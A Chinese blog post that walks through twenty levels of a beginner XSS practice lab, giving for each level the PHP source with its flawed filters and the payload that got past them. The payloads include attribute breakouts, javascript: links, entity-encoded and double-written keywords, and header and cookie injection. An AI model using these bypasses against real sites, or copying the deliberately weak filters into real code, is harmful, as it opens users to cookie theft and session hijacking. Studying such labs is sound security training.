XSS学习之xss20

人生没有白走的路,每一步都算数。

前言

这是比较简单的xss练习小游戏,非常适合入门。一直以来,对xss的内容总感觉有一些屏障,应该是因为动手实践太少。所以,趁此机会,好好学习一番,打好基础,以后再继续深入。

关于xss

1.概念:XSS攻击全称跨站脚本攻击(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞。其是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

2.分类:

  • 反射型 XSS:攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
  • 持久型 XSS:也叫存储型跨站脚本,此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
  • DOM XSS:DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,受客户端浏览器的脚本代码所影响。

3.利用:

  • Cookies 窃取 :获取客户端的 Cookies 信息
  • 会话劫持 :接管现存的动态会话的过程
  • 钓鱼 :包括重定向钓鱼、HTML 注入式钓鱼、iframe 钓鱼、Flash 钓鱼等
  • 网页挂马:一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe> 标签。
  • DOS 与 DDOS:注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。
  • XSS 蠕虫 :通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。

开始实践

level1

URL中有一个name参数,既然是练习xss,直接使用<script>alert(1)</script>试试,即 http://localhost/xss/level1.php?name=<script>alert(1)</script> 成功。

查看关键代码:

<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

直接输出,没有任何过滤,所以可执行。再看看提交信息:

本来为用户名的内容被执行。


level2

1.使用<script>alert(1)</script>试试,未成功,发现:

< >都被转义了,查看源码:

<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

使用了htmlspecialchars($str)函数,这个函数的作用是把一些预定义的字符转换为 HTML 实体。
预定义字符包括:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ' (单引号)成为 '
  • < (小于)成为 <
  • > (大于)成为 >

注:要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。

2.htmlspecialchars($str)函数的语法为:htmlspecialchars(string,flags,character-set,double_encode) 主要看前面两个参数:
string:必需,规定要转换的字符串。
flags:可选,规定如何处理引号、无效的编码以及使用哪种文档类型。这个参数主要看可用的引号类型:

  • ENT_COMPAT - 默认。仅编码双引号。
  • ENT_QUOTES - 编码双引号和单引号。
  • ENT_NOQUOTES - 不编码任何引号。

关于其他内容,可查看:PHP htmlspecialchars() 函数

3.知道了htmlspecialchars($str)函数的作用,那该如何绕过并执行呢。其实这题还用不到它。可以看到,只在输出处进行了转义,在输入处可利用。可将input标签提前闭合。构造:"><script>alert(1)</script><" 成功。解析为:


level3

1.提交上一关的payload,发现:

看来这次是两处都进行了HTML实体转换。看看源码,的确如此,值得注意的为单引号闭合。

<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";

2.不过,还有有很多JS事件可以利用。这里列举几个:
onmouseenter=alert() //当鼠标移动到就会触发
onclick=alert() //鼠标点击时就会触发
onchange=alert() //在域的内容改变时发生
oninput=alert() //在用户输入时触发
onmouseover=alert()//鼠标移动到就会触发

注意:只有在htmlspecialchars($str)函数未指定第二个参数flag时,即ENT_COMPAT 时,可用于闭合单引号情况的输入。如:此次输入的value就是单引号闭合

3.使用1'onclick='window.alert()试试,成功


level4

1.先提交上题的1'onclick='window.alert(1)试试,发现闭合为双引号:

2.改用双引号,1"onclick="window.alert(1)成功。

发现这个题也是没有在输入处进行HTML实体转换。可以看看源码:

<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里多了对<>的过滤$str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); 但我们所构造的也已经绕过了。


level5

1.提交上题的payload,发现:

这种过滤比较麻烦,不好绕过。先试试大小写:1"Onclick="window.alert(1) 没用,提示同样的错误。

2.说明带有on的事件都不可以使用了,测试发现<script也不可用(前面的script变了,但后面的没变,说明不是针对script,而是<script)。

继续观察发现,在输入处并没有对<>进行转义。所以,这里使用另一种方法:javascript:alert(1) 构造:"><a href="javascript:alert('1')">try</a>" 结果如下:

点击插入的超链接,成功。查看解析为:

3.现在看看源码:

<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

和猜测的一样,通过strtolower($_GET["keyword"]);将输入转为小写,即无法大小写绕过。并通过str_replace()过滤<script on


level6

1.还是提交上题的playload,发现:

发现href被过滤。

2.因为题目是由简到难的,所以前面的题试过的就不再试了,多半是被过滤的,比如on。那还如何绕过呢,想到了转码。试试,转一个字符就好,可在这里转:Unicode编码转换 打脸,识别不了(因为标签属性没了),基础不行啊。

3.那先看看源码吧:

<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

过滤的确实多了,但是少了大小写过滤,原来是在这等着,想多了。那就大小写绕过吧:"><a Href="javascript:alert('1')">try</a>// 成功。


level7

1.提交"><a Href="javascript:alert('1')">try</a>// ,发现:

这个是直接把href和script去掉了,这种很好绕过,直接双写就好了,构造:"><a hrhrefef="javasscriptcript:alert('1')">try</a>// 成功,解析为:

2.现在看一下源码:

<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

没什么好说的,这种过滤用处不大。


level8

1.提交"><a Href="javascript:alert('1')">try</a>// ,发现:

观察发现,我们应该在友情链接处想办法(只对双引号进行了转义和其他标签进行了过滤,而且本身就有href标签)

2.现在,我们需要做的就是绕过script的过滤,用我们之前说的编码,这里不用担心识别不了,同样,转一个字符即可。提交为:java&#115;cript:alert(1)s转为unicode,即&#115; 成功,解析为:

显示如此,但是在执行时会自动转化并识别。

3.最后,看一下源码:

<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

level9

1.和level8很像,提交javascript:alert(1),发现:

链接不合法

2.既然如此,那加上http://https://试试,构造为:javascript:alert(1)/*http://www*/

3.现在只需要绕过script就好了,用上一题的方法,构造:java&#115;cript:alert(1)/*http://www*/ 成功,解析为:

注:因为考虑到判断是否为合法链接的条件是检测输入中是否存在http://https://,或是检测是否为http://https://开头。后者比较麻烦,所以直接试前者。加上注释是为了不影响执行,也可用//http://www*

4.查看一下源码:

<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

和level8基本没差,就多了是否存在http://

5.那如果是判断是否为http://https://开头应该如何绕过呢?
目前没想到,望诸位不吝赐教。


level10

1.提交:<script>alert(1)</script> 发现:

2.有三个参数,都试试:keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>"type="txt"&t_history=<script>alert(1)</script>"type="txt"&t_sort=<script>alert(1)</script>"type="txt" 因为三个参数的类型都为隐藏,所以把他们都设为txt后才能显示出来(会忽略后面的type="hidden")。如图:

3.解析为:

也就是说只有t_sort的输入处可以利用,因为过滤了<>,构造:"onclick="window.alert(1)"type="txt" 成功,解析为:

4.最后看一下源码:

<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

5.发现,其实只需要输入两个参数,keywordt_sort


level11

1.提交<script>alert(1)</script> 发现:

2.有4个参数,都试试吧,看是哪个:keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>"type="txt"&t_history=<script>alert(1)</script>"type="txt"&t_sort=<script>alert(1)</script>"type="txt"&t_ref=<script>alert(1)</script>"type="txt"

还是t_sort处,并且过滤了<>"

3.没有头绪,先看源码吧:

<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

4.原来还有$_SERVER['HTTP_REFERER']t_sort这里绕不过啊,转义了双引号,又不是单引号闭合。说明这题主要指向$_SERVER['HTTP_REFERER']

5.在php中,可以使用$_SERVER[‘HTTP_REFERER’]来获取HTTP_REFERER信息。关于HTTP_REFERER,php文档描述如下:

引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改
HTTP_REFERER 的功能。简言之,该值并不可信。

6.综上,此题我们需要在HTTP_REFERER上动手。由于规律和上一题一样,直接使用"onclick="window.alert(1)"type="text存入Referer中,如图:

7.成功,此题告诉我们要学会在http各种首部字段做文章,看一下解析:


level12

1.进入后,直接先查看解析:

2.看来这次是利用用户代理,即$_SERVER['HTTP_USER_AGENT'] 我们需要在user agent上输入。

3.直接将上题的payload输入执行,因为这主要是考各种首部字段,即

4.成功,看一下解析:

5.最后,看一下源码:

<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

6.过滤都一样的,只是利用的首部字段不同了。


level13

1.直接先看解析,这次应该是Cookie,而且对应的内容为call me maybe?不知道对应那个参数。

2.可以试一下,把所有 参数都进行传值,keyword=aaa1"type="text&t_link=aaa2"type="text&t_history=aaa3"type="text&t_sort=aaa4"type="text&t_cook=aaa5"type="text如图:

没有用,看来获取cookies的参数不是由以上任何参数获取。

3.没办法,用神奇burpsuite抓包看看到底是何参数吧:

可以发现,是user 那我们直接在burpsuite中修改cookie吧:

成功。
4.当然,也可以在火狐插件HackBar(上面用的就是此插件)的cookies处提交:user="onclick="window.alert(1)"type="text 现在查看一下解析:

5.最后看看源码吧:

<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到,是通过user接收cookie,过滤和上面几题还是一样的。


level14

1.这个题大致看了一下,发现是要我们去访问网站http://www.exifviewer.org/ 可是已经打不开了。刚开始并不知是想干嘛,后来才发现是利用关于图片的exif属性。

2.关于exif,百度一下:

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

3.这下明确了,应该是想让我们修改图片的exif信息,上传到相应网站,然后达到执行XSS的效果。

4.大概找了一下,没有找到相应的平台,但发现了一个很棒的查看exif信息的网站:图虫EXIF查看器alpha版 可看到的信息非常详细。

5.最后,根据题目的考点,找了几个关于修改图片exif信息的工具,喜欢的可以自己下载玩一玩。

  • PowerExif
  • MagicEXIF元数据编辑器

level15

1.先查看一下响应

2.发现有个"ng-include",这是什么,先查一下:

相关参数说明:

3.现在,我就可以尝试让其包含某个可以执行xss漏洞的文件,然后让包含的文件调用alert方法就可以了。使用level1.php试试,构造:?src='level1.php?keyword=<script>alert(1)</script>' 发现 <>被过滤了。

4.那使用onclick试试,选择level2.php 构造?src='level2.php?keyword="onclick="alert(123)' 双引号也是被解析的,但是成功了。解析为:

5.有点迷,看一下源码:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

发现使用了htmlspecialchars($str) 按理应该不会通过,可是过了,是否说明通过ng-include包含进来的文件会自动识别html实体,然后执行。那第一个又不行,查了好久,也不知道怎么回事,先放着。


level16

1.提交<script>alert(1)</script> 发现将script/ 都转为空格了。

2.但是<>没有过滤,后还发现空格也会转义,这里用Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%0a')代替 。而且,这里使用一种新的事件。
onerror 事件: 会在文档或图像加载过程中发生错误时被触发。在装载文档或图像的过程中如果发生了错误,就会调用该事件句柄。

语法:onerror="SomeJavaScriptCode" 后面的 SomeJavaScriptCode必需。规定该事件发生时执行的 JavaScript。

支持该事件的 HTML 标签:<img>, <object>, <style>
支持该事件的 JavaScript 对象:window, image

3.这里我们用<img>,构造:<img%0asrc=1%0aonerror="alert(1)"> 成功,查看解析:

4.查看一下源码:

<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

发现有两个空格?其实不是,在Python中看看是什么

5.因此,实际是过滤了script,空格,/,横向制表这四个字符(这个和做题没有关系,看到了就顺便了解一下而已)


level17

1.进入,发现http://localhost/xss/level17.php?arg01=a&arg02=b两个参数分别为a,b,再看看响应:

发现a和b都显示了,可以考虑在a,b处构造,而且不用考虑引号闭合问题(用空格隔开就好)。

2. 标签是定义嵌入的内容,比如插件。这里插件就是xsf01.swf

3.构造:arg01=a&arg02=1%20onmouseover=alert(1) (这里直接把空格替代了,后来测试发现不替代也行)当鼠标移动到插件上时,成功,查看解析:

4.产看源码:

<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

两个参数都进行了HTML实体转化。


level18

1.发现和level17差不多啊,直接提交上题的payload,即rg01=a&arg02=1 onmouseover=alert(1)成功,解析为:

2.看看源码:

<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

和上题就只有插件不同。


level19

1.这题和下题相似,都是比上面两个题多了双引号闭合。这个也是上面一直没有解决的问题。后来才发现原来这几题考的的关于flash xss的,这个方面就先不看了,直接看看源码吧

<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

level20

源码:

<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

后记

原本不打算写这篇文章的,因为太菜,怕写得不好。后来想了想,还是记录一下吧,不然忘得太快,到时候想复习看一下都找不到,所以还是写了。当然,也希望能帮到有需要的朋友。此外,文章的内容可能有错或者做法比较愚蠢的,还望这位不吝赐教,多谢。

posted @ 2021-12-12 17:38  煊奕  阅读(310)  评论(0编辑  收藏  举报